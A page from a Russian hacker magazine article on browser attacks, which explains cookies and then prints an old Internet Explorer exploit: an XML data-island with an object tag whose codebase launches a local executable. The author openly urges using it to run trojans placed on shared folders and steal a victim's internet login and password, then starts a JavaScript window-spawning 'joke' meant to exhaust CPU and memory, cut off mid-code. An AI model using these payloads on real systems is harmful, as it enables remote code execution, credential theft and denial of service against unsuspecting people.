Cross Site Scripting

Xakep, номер #042, стр. 042-038-4


Про cookies

Cookies – Выпечка (анг.)

Технология Cookies была разработана для решения проблемы сохранения состояния между последовательными сессиями на сайте. Она позволяет вебсерверу записывать на жесткий диск клиента некоторые данные и извлекать их по мере надобности. Cookies широко используются, например, в online-магазинах: существенная часть любой “shopping cart” работает с использованием cookies, в которых сохраняет информацию о выбранных пользователем товарах, что позволяет юзеру, вернувшись через некоторое время, продолжить покупки с этого же места, ну или оплатить уже набранные товары.

Так же их часто используют для повторной идентификации пользователя: после ввода пароля, он кладется пользователю в Куки, и более ничего вводить не требуется.

Удобно, ничего не скажешь. Но небезопасно;)

Естественно, чтобы избежать злоупотреблений, введены некоторые ограничения на использование кукисов:

Броузер не может иметь более 300 cookies и более 20 cookies от одного сервера, так же, информация из cookies доступна только тому серверу, откуда она была получена.

/* Запускаем проги! */

Слышал, какой давеча флейм развели: "Ишак позволяет удаленно запускать проги на машине клиента! Работает на всех версиях!" Ну вот, будем запускать. Правда, сфера применения этого бага поуже - моя непатченная НТя спрашивает: реально ли я хочу запустить такое-то приложение, ведь оно без сертификата? :)

9x, говорят, vulnerable по полной программе. На самом деле, про эту брешь известно уже давно. Просто так уж повелось, что в рунетовские secure-ленты известия приходят с некоторой задержкой ;). Securityfocus, по-моему, писал про баг чуть ли не полтора года назад. Как бы то ни было, набиваем:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>

<xml id="oExec"> <security><exploit>

<![CDATA[

<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>

]]></exploit></security></xml>

где c:\winnt\system32\calc.exe - путь до запускаемой проги.

Толку с этого бага уйма. Ты сможешь запускать своих троянов ;). Т.е. нашел шары в локалке (с доступом в одну директорию, например. Очень часто люди так делают, чтобы обмениваться софтом, музыкой, фильмами и прочей шнягой), залил туда трояна, законнектился с чуваком, прислал ему в аутГЛЮК вышеприведенный код и получил заветный uin/пасс к инету.

/* Let's joke! */

Уууу... На javaScript можно ТАКОЕ выписывать ;). Самое безобидное: по экрану летает окно, способное к однополому размножению - на каждом новом кругу открывается еще десяток таких же окошек, что приводит к 100% занятости проца, забиванию памяти и нарастанию свопа вплоть до размеров харда ;). Путево? Представляешь, как возрастет спрос на твои антивирусы! ;)

Пиши:

<script language="javascript">

function move_the_window(){

Назад на стр. 042-038-3  Содержание  Вперед на стр. 042-038-5